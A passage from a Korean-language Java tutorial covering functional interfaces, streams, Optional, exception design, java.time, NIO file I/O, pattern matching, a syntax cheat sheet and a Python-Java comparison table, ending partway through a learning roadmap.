Comparator.comparing(Order::memo, Comparator.nullsLast(Comparator.naturalOrder()));
// ⚠️ Comparator.nullsLast(comparing(Order::memo)) 는 Order 자체가 null 일 때만 처리 — memo 가 null 이면 NPE
Predicate.not(String::isBlank) 처럼 메서드 참조를 그대로 뒤집는 정적 메서드도 있습니다 (isBlank().negate() 는 메서드 참조에 바로 못 붙습니다).

직접 만들어야 할 때 — 세 가지 경우

① 체크 예외를 던져야 할 때 (가장 흔함)

// ❌ 표준 Function 은 체크 예외를 못 던집니다
files.stream()
     .map(p -> Files.readString(p))   // IOException → 컴파일 에러
     .toList();

// ✅ 던질 수 있는 인터페이스를 직접 만들고, 언체크로 감싸 줍니다
@FunctionalInterface
public interface ThrowingFunction<T, R> {
    R apply(T t) throws Exception;

    static <T, R> Function<T, R> unchecked(ThrowingFunction<T, R> f) {
        return t -> {
            try { return f.apply(t); }
            catch (Exception e) { throw new RuntimeException(e); }
        };
    }
}

files.stream()
     .map(ThrowingFunction.unchecked(Files::readString))   // ✅
     .toList();

② 인자가 3개 이상 · ③ 이름에 뜻을 담고 싶을 때

// ② 표준에는 인자 3개짜리가 없습니다
@FunctionalInterface
public interface TriFunction<A, B, C, R> {
    R apply(A a, B b, C c);
}

// ③ 같은 모양이라도 이름이 다르면 의미가 드러납니다
//    BiFunction<Order, Coupon, Long> 보다 이쪽이 읽힙니다
@FunctionalInterface
public interface DiscountPolicy {
    long discount(Order order, Coupon coupon);
}

// 정책을 갈아 끼우는 코드가 자연스러워집니다
DiscountPolicy none    = (o, c) -> 0;
DiscountPolicy tenPct  = (o, c) -> o.amount() / 10;
DiscountPolicy fixed   = (o, c) -> Math.min(c.amount(), o.amount());

long pay = o.amount() - policy.discount(o, coupon);
표준으로 표현되면 표준을 쓰세요. Function<String, Integer> 로 충분한데 StringToInt 를 새로 만들면 andThen·compose 같은 조합 메서드를 전부 잃습니다.

실무에서 실제로 쓰이는 자리

if-else 사슬을 Map 으로 걷어내기

❌ 결제수단이 늘 때마다 이 메서드를 고침
if (type == CARD)        return cardPay(req);
else if (type == BANK)   return bankPay(req);
else if (type == POINT)  return pointPay(req);
else throw new IllegalArgumentException();
✅ 표에 등록만 하면 끝
private final Map<PayType, Function<PayReq, PayRes>> handlers = Map.of(
        CARD,  this::cardPay,
        BANK,  this::bankPay,
        POINT, this::pointPay);

public PayRes pay(PayType type, PayReq req) {
    return handlers.getOrDefault(type, r -> { throw new IllegalArgumentException(); })
                   .apply(req);
}
Spring 에서는 인터페이스 구현 빈들을 Map<String, PayHandler> 로 주입받는 방식이 더 흔합니다. 원리는 같습니다 — 분기를 코드가 아니라 데이터로.

공통 처리를 감싸는 콜백 (템플릿)

// 재시도·로깅·시간측정 같은 "껍데기"를 한 곳에 모읍니다
public <T> T withRetry(int max, Supplier<T> action) {
    RuntimeException last = null;
    for (int i = 0; i < max; i++) {
        try { return action.get(); }
        catch (RuntimeException e) { last = e; sleep(200L * (i + 1)); }
    }
    throw last;
}

// 쓰는 쪽은 진짜 로직만 넘깁니다
var user = withRetry(3, () -> apiClient.fetchUser(id));

// 시간 측정도 같은 모양
public <T> T timed(String tag, Supplier<T> action) {
    long t0 = System.nanoTime();
    try { return action.get(); }
    finally { log.info("{} {}ms", tag, (System.nanoTime() - t0) / 1_000_000); }
}
Spring 의 JdbcTemplate · TransactionTemplate · RestClient 가 전부 이 구조입니다. “변하지 않는 절차는 프레임워크가, 변하는 한 조각만 람다로”.

지연 평가 — Supplier 를 쓰는 진짜 이유

// ❌ orElse 는 인자를 "무조건" 먼저 계산합니다
User u = repo.findById(id).orElse(createGuest());   // 값이 있어도 createGuest() 실행됨 😱

// ✅ orElseGet 은 없을 때만 실행합니다
User u = repo.findById(id).orElseGet(() -> createGuest());

// 예외 객체도 마찬가지
repo.findById(id).orElseThrow(() -> new NotFoundException(id));

// 로그도 같은 원리 — SLF4J 2.x 의 fluent API 를 쓰면
// DEBUG 가 꺼져 있을 때 heavyToString 을 아예 부르지 않습니다
log.atDebug().addArgument(() -> heavyToString(result)).log("결과: {}");
// ⚠️ log.debug("결과: {}", () -> heavyToString(result)) 는 컴파일 에러입니다
//    — SLF4J 의 debug(String, Object) 에는 Supplier 오버로드가 없어 람다를 못 받습니다

// 직접 만들 때도 "비싼 값"은 Supplier 로 받으세요
public void check(boolean ok, Supplier<String> message) {
    if (!ok) throw new IllegalStateException(message.get());
}
orElse ↔ orElseGet 혼동은 실무 성능 사고 단골입니다. orElse 는 이미 만들어진 값을 넣을 때만 쓰세요. DB 조회·객체 생성이 들어가면 반드시 orElseGet 입니다.

함정 모음

증상원인해결
람다 안에서 체크 예외 → 컴파일 에러 표준 함수형 인터페이스는 throws 가 없음 try-catch 로 감싸거나 ThrowingFunction 유틸을 만든다
NullPointerException 인데
스택트레이스에 람다 줄이 없음
메서드 참조 obj::method 는 선언 시점에 obj 를 평가 객체가 null 일 수 있으면 () -> obj.method() 로 미룬다
스트림에서 결과가 들쭉날쭉 람다 안에서 바깥 컬렉션·필드를 고침 (특히 parallelStream) 상태를 바꾸지 말고 collect·reduce 로 모은다
람다가 객체를 계속 살려 둠 필드를 참조하면 this 가 통째로 캡처됨 필요한 값만 지역 변수로 꺼내서 캡처한다
람다가 너무 길어 안 읽힘 3줄 넘어가면 람다의 장점이 사라짐 메서드로 빼고 메서드 참조로 넘긴다
람다 안에서 쓰는 지역 변수는 바뀌면 안 됩니다 — “사실상 final(effectively final)”이어야 합니다. 바꿔야 한다면 배열 한 칸(int[] count = {0})이나 AtomicInteger를 쓰거나, 애초에 스트림의 reduce·count로 바꾸세요. 람다 안에서 바깥 변수를 고치려는 코드는 대개 설계를 다시 볼 신호입니다.
JAVA 11

Stream API — 반복문을 파이프라인으로

“목록을 걸러서 → 바꿔서 → 모으는” 코드를 한 흐름으로 쓰는 방법입니다. SQL 을 안다면 그 감각이 거의 그대로 통합니다.

❌ 반복문 — 무엇을 하는지 읽어야 안다
List<String> result = new ArrayList<>();
for (Order o : orders) {
    if (o.getStatus() == PAID) {
        if (o.getAmount() >= 10000) {
            result.add(o.getCustomerName());
        }
    }
}
Collections.sort(result);
✅ 스트림 — 읽으면 바로 뜻이 보인다
List<String> result = orders.stream()
        .filter(o -> o.getStatus() == PAID)
        .filter(o -> o.getAmount() >= 10000)
        .map(Order::getCustomerName)
        .sorted()
        .toList();

스트림은 3단 구조입니다

① 생성
어디서 흘러나오는가collection.stream() · Stream.of() · Arrays.stream() · IntStream.range()
▼
② 중간
거르고 바꾼다 (몇 개든 이어붙임)filter · map · flatMap · sorted · distinct · limit · skip · peek
▼
③ 최종
결과를 만든다 (딱 한 번, 여기서 실제로 실행됨)toList · collect · forEach · count · sum · anyMatch · findFirst · reduce
중간 연산은 최종 연산이 없으면 아예 실행되지 않습니다(지연 실행). stream().filter(...)만 쓰고 끝내면 아무 일도 일어나지 않습니다. 그리고 스트림은 한 번만 소비됩니다 — 같은 스트림 변수를 두 번 쓰면 예외가 납니다.
주문 4건이 파이프라인을 지나는 동안 — 걸러지고 · 바뀌고 · 정렬된다 ① orders.stream() → ② .filter(결제완료) .filter(금액 ≥ 10,000) 최지우 50,000 · 결제완료 → 통과 이서연 8,000 — 금액 미달 박민수 30,000 — 준비중 김현우 12,000 · 결제완료 → 통과 ③ .map(Order::getCustomerName) — 남은 2건이 이름(String)으로 바뀐다 "최지우" "김현우" ④ .sorted().toList() — 가나다순으로 정렬해 새 List 에 담는다 "김현우" "최지우" filter · map · sorted 는 계획만 세운다 — 마지막 toList() 가 불려야 실제로 한 번에 흐른다 원본 orders 는 하나도 바뀌지 않는다 — 스트림은 언제나 새 결과를 만들어 돌려준다
위에서 아래로 읽으면 코드가 그대로 보입니다 — 거르고 · 바꾸고 · 모은다.

중간 연산

orders.stream()
    .filter(o -> o.getAmount() > 1000)      // 조건에 맞는 것만
    .map(Order::getCustomerName)            // 다른 값으로 변환
    .distinct()                             // 중복 제거
    .sorted()                               // 정렬 (기본 순서)
    .sorted(Comparator.reverseOrder())      // 역순
    .limit(10)                              // 앞 10개
    .skip(5)                                // 앞 5개 건너뛰기
    .toList();

// flatMap — 중첩 구조를 펼친다
List<OrderItem> allItems = orders.stream()
        .flatMap(o -> o.getItems().stream())   // List<List<Item>> -> List<Item>
        .toList();

// 정렬 조합 — 금액 내림차순, 같으면 이름 오름차순
orders.stream()
    .sorted(Comparator.comparing(Order::getAmount).reversed()
                      .thenComparing(Order::getCustomerName))
    .toList();

최종 연산

// 모으기
List<X> list = s.toList();                    // 불변 (Java 16+)
List<X> list2 = s.collect(Collectors.toList()); // 가변
Set<X> set = s.collect(Collectors.toSet());
String joined = s.map(Order::getName)
                 .collect(Collectors.joining(", ", "[", "]"));

// 개수·합계·통계
long cnt = s.count();
int sum = orders.stream().mapToInt(Order::getAmount).sum();
OptionalDouble avg = orders.stream().mapToInt(Order::getAmount).average();
IntSummaryStatistics st = orders.stream()
        .mapToInt(Order::getAmount).summaryStatistics();
st.getMax(); st.getMin(); st.getAverage(); st.getCount();

// 검사 — 하나라도 / 전부 / 하나도 없이
boolean any = orders.stream().anyMatch(Order::isPaid);
boolean all = orders.stream().allMatch(Order::isPaid);
boolean none = orders.stream().noneMatch(Order::isCancelled);

// 찾기
Optional<Order> first = orders.stream()
        .filter(Order::isPaid).findFirst();

// 최대·최소
Optional<Order> max = orders.stream()
        .max(Comparator.comparing(Order::getAmount));

Collectors — 여기가 진짜 무기입니다

import static java.util.stream.Collectors.*;

// 1) 그룹핑 — SQL 의 GROUP BY
Map<OrderStatus, List<Order>> byStatus =
        orders.stream().collect(groupingBy(Order::getStatus));

// 2) 그룹별 개수
Map<OrderStatus, Long> countByStatus =
        orders.stream().collect(groupingBy(Order::getStatus, counting()));

// 3) 그룹별 합계
Map<String, Integer> sumByCustomer =
        orders.stream().collect(
                groupingBy(Order::getCustomerName, summingInt(Order::getAmount)));

// 4) 그룹별로 특정 필드만 모으기
Map<String, List<Long>> idsByCustomer =
        orders.stream().collect(
                groupingBy(Order::getCustomerName,
                           mapping(Order::getId, toList())));

// 5) 두 갈래로 나누기 (조건 true/false)
Map<Boolean, List<Order>> partition =
        orders.stream().collect(partitioningBy(o -> o.getAmount() > 10000));

// 6) Map 으로 만들기 — 키 중복 시 처리 규칙 필수
Map<Long, Order> byId = orders.stream()
        .collect(toMap(Order::getId, o -> o));
Map<String, Integer> latest = orders.stream()
        .collect(toMap(Order::getCustomerName, Order::getAmount,
                       (oldV, newV) -> newV));    // ← 없으면 중복 시 예외

// 7) 여러 단계 그룹핑
Map<String, Map<OrderStatus, Long>> nested = orders.stream()
        .collect(groupingBy(Order::getCustomerName,
                 groupingBy(Order::getStatus, counting())));

숫자 스트림

// 박싱 비용 없이 계산 — 대량 데이터에서 체감됩니다
IntStream.range(0, 10).sum();          // 0~9  (10 미포함)
IntStream.rangeClosed(1, 10).sum();    // 1~10 (10 포함)

orders.stream()
    .mapToInt(Order::getAmount)        // Stream<Order> -> IntStream
    .filter(a -> a > 1000)
    .sum();

IntStream.of(3, 1, 2).boxed().toList();   // IntStream -> List<Integer>

병렬 스트림 — 함부로 쓰지 마세요

// 겉보기엔 공짜 성능
long count = hugeList.parallelStream()
        .filter(x -> x > 100)
        .count();
병렬 스트림이 손해인 경우가 더 많습니다 — ① 데이터가 수만 건 이하면 분할·병합 비용이 더 큽니다 ② 기본적으로 공용 ForkJoinPool을 쓰므로 다른 작업까지 느려집니다 ③ 내부에서 DB·API 호출(블로킹)을 하면 최악입니다. 순수 CPU 계산 + 수십만 건 이상일 때만 측정 후 도입하세요.
JAVA 12

Optional — null 을 다루는 법

NullPointerException은 자바에서 가장 많이 만나는 예외입니다. Optional 은 “값이 없을 수도 있다”를 타입으로 드러내는 도구입니다.

기본 사용

// 만들기
Optional<User> o1 = Optional.of(user);          // null 이면 즉시 예외
Optional<User> o2 = Optional.ofNullable(user);  // null 허용 ✅
Optional<User> o3 = Optional.empty();           // 빈 것

// 꺼내기 — 상황별로
o2.orElse(defaultUser);                // 없으면 기본값
o2.orElseGet(() -> createUser());      // 없을 때만 생성 (비용이 크면 이걸로)
o2.orElseThrow();                      // 없으면 NoSuchElementException
o2.orElseThrow(() -> new UserNotFoundException(id));   // ✅ 실무에서 가장 많이

// 있을 때만 실행
o2.ifPresent(u -> log.info("찾음: {}", u.getName()));
o2.ifPresentOrElse(
        u -> log.info("찾음"),
        () -> log.warn("없음"));

// 변환·필터 — 스트림처럼 이어 쓸 수 있다
String city = userRepository.findById(id)
        .map(User::getAddress)
        .map(Address::getCity)
        .filter(c -> !c.isBlank())
        .orElse("미등록");

이렇게 쓰면 안 됩니다

❌ if 로 풀면 쓰는 의미가 없다
Optional<User> opt = repo.findById(id);
if (opt.isPresent()) {
    User u = opt.get();      // null 체크와 다를 게 없음
    ...
}
✅ 흐름으로 처리
User u = repo.findById(id)
        .orElseThrow(() -> new UserNotFoundException(id));
  • ❌ 필드 타입으로 쓰지 마세요 — 직렬화가 안 되고 메모리만 낭비합니다
  • ❌ 메서드 파라미터로 받지 마세요 — 오버로딩이나 null 허용이 낫습니다
  • ❌ Optional<List> — 빈 리스트를 돌려주면 됩니다
  • ✅ 반환 타입에만 쓰세요 — “못 찾을 수도 있음”을 알리는 용도
Optional 보다 먼저 할 일 — ① 절대 null 을 리턴하지 않기(빈 리스트·빈 문자열·기본값을 돌려주기) ② 파라미터는 Objects.requireNonNull(x, "메시지")로 입구에서 막기 ③ 그래도 “없을 수 있다”가 정상 흐름이면 그때 Optional. NPE 는 Optional 로 막는 게 아니라 null 을 안 만들어서 막는 겁니다.
Optional 은 '반환 타입'을 위한 도구입니다 findById(7) Optional<User> 값 있음 → map 으로 이어서 비어 있음 → orElse · orElseThrow 한 줄로 이어집니다 findById(id) .map(User::getEmail) .orElse("없음") 이렇게 쓰면 의미가 없습니다 if (opt.isPresent()) { opt.get() … } null 검사를 이름만 바꿔 적은 것입니다 get() 을 바로 부르는 코드는 NoSuchElement 가 됩니다 쓰지 않는 자리 필드 · 메서드 파라미터 · 컬렉션의 원소 직렬화도 안 되고 메모리만 늘어납니다 비어 있는 컬렉션은 Optional 이 아니라 빈 리스트로 기본값이 있으면 orElse, 기본값 계산이 비싸면 orElseGet(그때만 실행), 없으면 예외인 상황은 orElseThrow 입니다 Optional 을 도입하는 진짜 이유는 시그니처만 보고 "없을 수 있다"를 알 수 있다는 것입니다
null 을 감싸는 상자가 아니라 "없을 수 있음"을 알리는 표시입니다.
JAVA 13

예외 처리 — 언제 잡고 언제 던질까

기준은 하나입니다 — 내가 이 자리에서 실제로 대처할 수 있는 것만 잡는다. 못 하면 던져 올리는 게 맞습니다.

예외 계층

Throwable
 ├─ Error                        // JVM 문제 — 잡지 마세요
 │   ├─ OutOfMemoryError
 │   └─ StackOverflowError
 └─ Exception
     ├─ IOException              // Checked — 컴파일러가 강제
     ├─ SQLException             // Checked
     └─ RuntimeException         // Unchecked — 강제 안 함
         ├─ NullPointerException
         ├─ IllegalArgumentException
         ├─ IllegalStateException
         └─ IndexOutOfBoundsException
구분차이
Checked
(IOException 등)
반드시 try/catch 하거나 throws 로 선언해야 컴파일됨
Unchecked
(RuntimeException)
강제 없음. 실무 비즈니스 예외는 대부분 이쪽

문법

try {
    process();
} catch (FileNotFoundException e) {      // 좁은 것부터!
    log.warn("파일 없음: {}", e.getMessage());
} catch (IOException | SQLException e) {  // 여러 개를 한 번에
    log.error("입출력 실패", e);
    throw new ServiceException("처리 실패", e);   // 원인을 물고 다시 던짐
} finally {
    cleanup();                            // 예외가 나도 반드시 실행
}

// try-with-resources — 자동으로 close() 호출
try (var conn = dataSource.getConnection();
     var stmt = conn.prepareStatement(sql)) {
    stmt.execute();
}   // 여기서 stmt, conn 이 역순으로 자동 close ✅

// 직접 던지기
if (amount <= 0) {
    throw new IllegalArgumentException("금액은 0보다 커야 합니다: " + amount);
}

비즈니스 예외 설계 — 실무 패턴

// 1) 프로젝트 최상위 예외 하나를 둔다
public abstract class BusinessException extends RuntimeException {
    private final ErrorCode code;

    protected BusinessException(ErrorCode code) {
        super(code.getMessage());
        this.code = code;
    }
    public ErrorCode getCode() { return code; }
}

// 2) 에러 코드를 enum 으로 (HTTP 상태까지 함께)
public enum ErrorCode {
    ORDER_NOT_FOUND(HttpStatus.NOT_FOUND, "O001", "주문을 찾을 수 없습니다"),
    ALREADY_PAID(HttpStatus.CONFLICT, "O002", "이미 결제된 주문입니다"),
    INSUFFICIENT_STOCK(HttpStatus.BAD_REQUEST, "P001", "재고가 부족합니다");

    private final HttpStatus status;
    private final String code;
    private final String message;
    // 생성자·getter 생략
}

// 3) 구체 예외
public class OrderNotFoundException extends BusinessException {
    public OrderNotFoundException(Long id) {
        super(ErrorCode.ORDER_NOT_FOUND);
    }
}

// 4) 던지는 쪽은 간결해진다
Order order = repository.findById(id)
        .orElseThrow(() -> new OrderNotFoundException(id));
이렇게 두면 컨트롤러마다 try/catch 를 쓸 필요가 없습니다. @RestControllerAdvice 한 곳에서 전부 받아 일관된 JSON 에러 응답으로 변환하면 됩니다 — 🍃 Spring Boot 탭 09번 전역 예외 처리에서 이어집니다.
절대 하지 말아야 할 3가지
① catch (Exception e) { } — 빈 catch. 무슨 일이 났는지 영원히 알 수 없습니다.
② e.printStackTrace() — 로그 시스템을 타지 않아 운영에서 안 보입니다. log.error("메시지", e)를 쓰세요.
③ catch (Exception e) { throw new RuntimeException(e.getMessage()); } — 원인(cause)을 버리면 스택 트레이스가 끊겨 추적이 불가능합니다. 반드시 new XxxException("메시지", e)처럼 e 자체를 넘기세요.
잡을까 던질까 — 여기서 처리할 수 있는가로 정합니다 Throwable Error — 잡지 마세요 OutOfMemoryError · StackOverflowError 애플리케이션이 손쓸 수 없는 상황입니다 Exception 검사 예외 — 잡거나 던진다고 선언해야 함 비검사(RuntimeException) — 강제 없음 여기서 처리할 수 있다면 → 잡는다 기본값으로 대체 · 재시도 · 사용자에게 안내 잡았으면 반드시 무언가를 하세요 처리할 수 없다면 → 올린다 의미 있는 타입으로 감싸 던집니다 원인(cause)을 반드시 함께 넘기세요 catch 하고 비워 두는 코드가 최악입니다 — 문제가 조용히 사라지고 원인 추적이 불가능해집니다 자원 정리는 try-with-resources 로 — finally 로 닫는 코드를 손으로 쓰지 마세요
예외 설계의 기준은 문법이 아니라 이 자리에서 무엇을 해 줄 수 있는가입니다.
JAVA 14

날짜와 시간 — java.time

Date와 Calendar는 잊으세요. Java 8부터 들어온 java.time은 불변이고 스레드 안전하며, 훨씬 읽기 쉽습니다.

타입 고르기

타입언제
LocalDate날짜만 — 생일, 정산일
LocalTime시각만 — 영업 시작 시간
LocalDateTime날짜+시각 (시간대 없음) — 국내 서비스 기본
InstantUTC 기준 절대 시각 — 로그·이벤트 기록
ZonedDateTime시간대까지 — 글로벌 서비스
Duration시간 간격 (초·분·시)
Period날짜 간격 (일·월·년)
DB 저장은 UTC(Instant), 화면 표시는 로컬이 원칙입니다. 서버가 해외로 이전돼도 데이터가 안 틀어집니다.

기본 사용

LocalDate today = LocalDate.now();
LocalDate d = LocalDate.of(2026, 8, 3);
LocalDateTime now = LocalDateTime.now();
Instant utc = Instant.now();

// 계산 — 원본은 안 바뀌고 새 객체가 나온다 (불변)
LocalDate tomorrow = today.plusDays(1);
LocalDate lastMonth = today.minusMonths(1);
LocalDate monthEnd = today.withDayOfMonth(today.lengthOfMonth());
LocalDate nextMonday = today.with(
        java.time.temporal.TemporalAdjusters.next(java.time.DayOfWeek.MONDAY));

// 비교
today.isBefore(d);   today.isAfter(d);   today.isEqual(d);

// 차이
long days = java.time.temporal.ChronoUnit.DAYS.between(today, d);
Duration dur = Duration.between(start, end);
dur.toMinutes();  dur.toHours();
Period p = Period.between(birth, today);
p.getYears();     // 만 나이

문자열 ↔ 날짜 (실무에서 가장 자주 하는 일)

import java.time.format.DateTimeFormatter;

// 상수로 빼 두세요 (매번 만들면 낭비)
private static final DateTimeFormatter YMD =
        DateTimeFormatter.ofPattern("yyyy-MM-dd");
private static final DateTimeFormatter FULL =
        DateTimeFormatter.ofPattern("yyyy년 M월 d일 HH:mm");

// 날짜 -> 문자열
String s = today.format(YMD);                 // "2026-08-03"
String k = now.format(FULL);                  // "2026년 8월 3일 14:30"

// 문자열 -> 날짜
LocalDate d = LocalDate.parse("2026-08-03");             // ISO 형식은 포맷터 불필요
LocalDate d2 = LocalDate.parse("2026/08/03",
        DateTimeFormatter.ofPattern("yyyy/MM/dd"));

/* 패턴 기호
   yyyy 연 4자리   MM 월(2자리)   dd 일    ← 대문자 M 이 '월', 소문자 m 은 '분'
   HH 24시간       hh 12시간      mm 분    ss 초
   E  요일         a  오전/오후            SSS 밀리초 */

// ⚠️ 가장 흔한 실수: yyyy 대신 YYYY 를 쓰면
//    연말·연초에 연도가 1 틀어집니다 (YYYY = ISO 주 기준 연도)

// 시간대 변환
Instant utc = Instant.now();
ZonedDateTime seoul = utc.atZone(java.time.ZoneId.of("Asia/Seoul"));
LocalDateTime local = seoul.toLocalDateTime();
옛날 코드와 섞일 때 — 레거시 java.util.Date가 나오면 즉시 변환해서 쓰세요.
Date d = Date.from(instant); · Instant i = date.toInstant();
JPA 엔티티도 LocalDateTime·Instant를 쓰면 별도 컨버터 없이 매핑됩니다.
JAVA 15

파일과 입출력

java.nio.file.Path 하나만 알면 파일 작업의 대부분이 두세 줄로 끝납니다.

읽기 · 쓰기

import java.nio.file.*;
import java.nio.charset.StandardCharsets;

Path p = Path.of("data", "orders.csv");   // OS 무관 경로 조합

// 통째로 읽기 (작은 파일)
String text = Files.readString(p, StandardCharsets.UTF_8);
List<String> lines = Files.readAllLines(p, StandardCharsets.UTF_8);

// 한 줄씩 (큰 파일 — 메모리 안전) ★
try (var stream = Files.lines(p, StandardCharsets.UTF_8)) {
    stream.skip(1)                        // 헤더 건너뛰기
          .map(line -> line.split(","))
          .filter(cols -> cols.length >= 3)
          .forEach(cols -> process(cols));
}

// 쓰기
Files.writeString(p, "내용", StandardCharsets.UTF_8);
Files.write(p, lines, StandardCharsets.UTF_8,
            StandardOpenOption.CREATE, StandardOpenOption.APPEND);

// 바이너리
byte[] bytes = Files.readAllBytes(p);
Files.write(p, bytes);

파일·폴더 다루기

Files.exists(p);            Files.size(p);
Files.isDirectory(p);       Files.isRegularFile(p);
Files.createDirectories(Path.of("out/2026/08"));   // 중간 폴더까지
Files.copy(src, dst, StandardCopyOption.REPLACE_EXISTING);
Files.move(src, dst, StandardCopyOption.REPLACE_EXISTING);
Files.delete(p);            // 없으면 예외
Files.deleteIfExists(p);    // 안전

// 폴더 목록
try (var s = Files.list(dir)) {                   // 한 단계
    s.filter(f -> f.toString().endsWith(".csv")).forEach(System.out::println);
}
try (var s = Files.walk(dir)) {                   // 하위 전부
    s.filter(Files::isRegularFile).forEach(...);
}

// 경로 조작
p.getFileName();     // orders.csv
p.getParent();       // data
p.toAbsolutePath();
p.resolve("sub.txt");            // 이어붙이기

// 임시 파일
Path tmp = Files.createTempFile("upload-", ".xlsx");
인코딩을 항상 명시하세요 — StandardCharsets.UTF_8을 빼면 OS 기본 인코딩을 씁니다. 윈도우 개발 PC에서는 잘 되다가 리눅스 서버에서 한글이 깨지는 사고가 여기서 나옵니다. 엑셀이 만든 CSV 라면 MS949(=CP949)일 수 있으니 Charset.forName("MS949")로 읽어 보세요.
JAVA 16

패턴 매칭과 최신 문법 Java 21~25

최근 몇 년 사이 가장 크게 달라진 부분입니다. instanceof 형변환과 긴 if-else 사슬이 거의 사라집니다.

instanceof 패턴 — 형변환이 사라집니다 Java 16+

❌ 예전 — 같은 말을 세 번
if (obj instanceof String) {
    String s = (String) obj;      // 또 적어야 한다
    if (s.length() > 5) { ... }
}
✅ 지금 — 검사와 동시에 변수 생성
if (obj instanceof String s && s.length() > 5) {
    ...                            // s 를 바로 쓸 수 있다
}

// equals 구현이 이렇게 짧아집니다
@Override
public boolean equals(Object o) {
    return o instanceof Order other
            && id.equals(other.id);
}

switch 패턴 매칭 — 타입으로 분기 Java 21+

sealed interface Shape permits Circle, Rect, Triangle { }
record Circle(double r) implements Shape { }
record Rect(double w, double h) implements Shape { }
record Triangle(double b, double h) implements Shape { }

// 타입별 분기 + 값 꺼내기를 한 번에 (레코드 디컨스트럭션)
double area(Shape s) {
    return switch (s) {
        case Circle(double r)         -> Math.PI * r * r;
        case Rect(double w, double h) -> w * h;
        case Triangle(double b, double h) -> b * h / 2;
    };   // sealed 라서 default 가 필요 없다 ✅
}

// 조건을 덧붙이기 (when 절)
String describe(Object o) {
    return switch (o) {
        case Integer i when i < 0   -> "음수";
        case Integer i when i == 0  -> "영";
        case Integer i              -> "양수 " + i;
        case String s when s.isBlank() -> "빈 문자열";
        case String s               -> "문자열 " + s.length() + "자";
        case null                   -> "널";        // null 도 case 로!
        default                     -> "기타";
    };
}

// 중첩 구조도 한 번에 풀어냅니다
record Point(int x, int y) { }
record Line(Point from, Point to) { }

String info(Object o) {
    return switch (o) {
        case Line(Point(var x1, var y1), Point(var x2, var y2))
                -> "(%d,%d) → (%d,%d)".formatted(x1, y1, x2, y2);
        default -> "?";
    };
}

그 밖에 알아두면 좋은 것들

간결해진 메인 Java 25

// 예전
public class Main {
    public static void main(String[] args) {
        System.out.println("hi");
    }
}

// 지금 — 연습·스크립트에 아주 편합니다
// (Java 25 정식 · JEP 512. 21~24에선 preview 라 --enable-preview 필요)
void main() {
    System.out.println("hi");
}

불변 컬렉션 팩토리 Java 9+

List.of("a", "b");
Set.of(1, 2, 3);
Map.of("k1", 1, "k2", 2);
Map.ofEntries(Map.entry("k", 1), ...);   // 10개 초과 시

// 스트림 결과를 불변으로
var list = stream.toList();              // Java 16+

순서가 있는 컬렉션 Java 21+

// SequencedCollection — 첫/마지막을 일관되게 다룬다
List<String> list = new ArrayList<>(List.of("a", "b", "c"));
list.getFirst();        // "a"   (list.get(0) 대신)
list.getLast();         // "c"   (list.get(size-1) 대신)
list.addFirst("z");
list.reversed();        // 역순 뷰

LinkedHashMap<String,Integer> m = new LinkedHashMap<>();
m.firstEntry();  m.lastEntry();  m.reversed();

유틸 한 줄

Objects.requireNonNull(x, "x 는 필수입니다");
Objects.requireNonNullElse(x, defaultValue);
Objects.equals(a, b);          // null 안전 비교
Objects.hash(a, b, c);         // hashCode 구현용
String.valueOf(anyObject);     // null 이면 "null"
버전을 올릴 이유 — Java 8 → 21 만 올려도 코드를 한 줄도 안 고치고 GC·JIT 개선으로 성능이 올라갑니다. 거기에 record·패턴 매칭·가상 스레드까지 쓰면 코드량이 눈에 띄게 줄어듭니다. 가상 스레드는 🧬 고급 탭 08번에서 자세히 다룹니다.
JAVA 17

치트시트와 학습 로드맵

막힐 때 찾아보는 한 장 요약과, 무엇을 어떤 순서로 익힐지 정리했습니다.

문법 한 장 요약

// ── 변수·타입 ─────────────────────────────
int n = 10;  long big = 100L;  double d = 1.5;  boolean b = true;
String s = "글자";  var list = new ArrayList<String>();
final int MAX = 100;                       // 상수

// ── 문자열 ───────────────────────────────
"a".equals(b)                              // 비교는 equals (== 아님)
"%s님 %,d원".formatted(name, amount)        // 서식
"""  여러 줄 """                            // 텍스트 블록
String.join(", ", list)                    // 이어붙이기
new StringBuilder().append(x).toString()   // 반복문 안에서 조립

// ── 컬렉션 ───────────────────────────────
List<T> l = new ArrayList<>();   l.add(x); l.get(0); l.removeIf(p);
Map<K,V> m = new HashMap<>();    m.put(k,v); m.getOrDefault(k, def);
                                 m.computeIfAbsent(k, x -> new ArrayList<>());
Set<T> st = new HashSet<>();     st.contains(x);        // O(1)
Deque<T> dq = new ArrayDeque<>(); dq.push/pop/offer/poll
List.of(...)  Map.of(...)                  // 불변

// ── 스트림 ───────────────────────────────
list.stream()
    .filter(x -> x.isValid())              // 거르기
    .map(X::getName)                       // 바꾸기
    .sorted(Comparator.comparing(X::getA).reversed())
    .toList();
list.stream().collect(groupingBy(X::getType, counting()));
list.stream().mapToInt(X::getAmount).sum();

// ── 흐름 제어 ────────────────────────────
for (var x : list) { }                     // 향상된 for
String r = switch (v) { case A -> "a"; default -> "?"; };
if (o instanceof User u && u.isActive()) { }

// ── 클래스 ──────────────────────────────
record Dto(String name, int age) { }       // 데이터 전용
enum Status { A, B }                       // 정해진 값
sealed interface R permits X, Y { }        // 구현 제한

// ── 예외 ────────────────────────────────
try (var r = open()) { }                   // 자동 close
catch (A | B e) { throw new C("메시지", e); }  // 원인 물고 던지기

// ── 날짜 ────────────────────────────────
LocalDate.now().plusDays(1).format(fmt)
ChronoUnit.DAYS.between(a, b)

// ── 파일 ────────────────────────────────
Files.readString(path, UTF_8)
try (var s = Files.lines(path, UTF_8)) { }  // 큰 파일

// ── null ───────────────────────────────
Optional<T> o = repo.findById(id);
o.orElseThrow(() -> new NotFoundException(id));
Objects.requireNonNull(x, "필수");

파이썬 ↔ 자바 대조표

PythonJava메모
list = []List<T> list = new ArrayList<>()타입을 명시
dict = {}Map<K,V> map = new HashMap<>()
len(x)x.size() / x.length()컬렉션 / 문자열·배열
f"{name}님""%s님".formatted(name)
[x*2 for x in a]a.stream().map(x -> x*2).toList()컴프리헨션 → 스트림
for i, x in enumerate(a)IntStream.range(0, a.size())인덱스가 필요하면
try / except / finallytry / catch / finally거의 동일
with open(f) as x:try (var x = ...) { }자동 정리
Nonenull · Optional
@decorator@Annotation + AOP개념이 유사
@dataclassrecord거의 같습니다
pip / uvGradle / Maven

이 순서로 익히면 됩니다

1주차 — 손에 익히기 타입·변수·조건·반복·클래스·컬렉션(List/Map). 콘솔에서 도는 계산기 하나를 만들어 보면 충분합니다.
2주차 — 코드를 접기 람다·스트림·Optional·record. “for 문을 스트림으로 바꿔보기”를 반복하면 빨리 붙습니다.
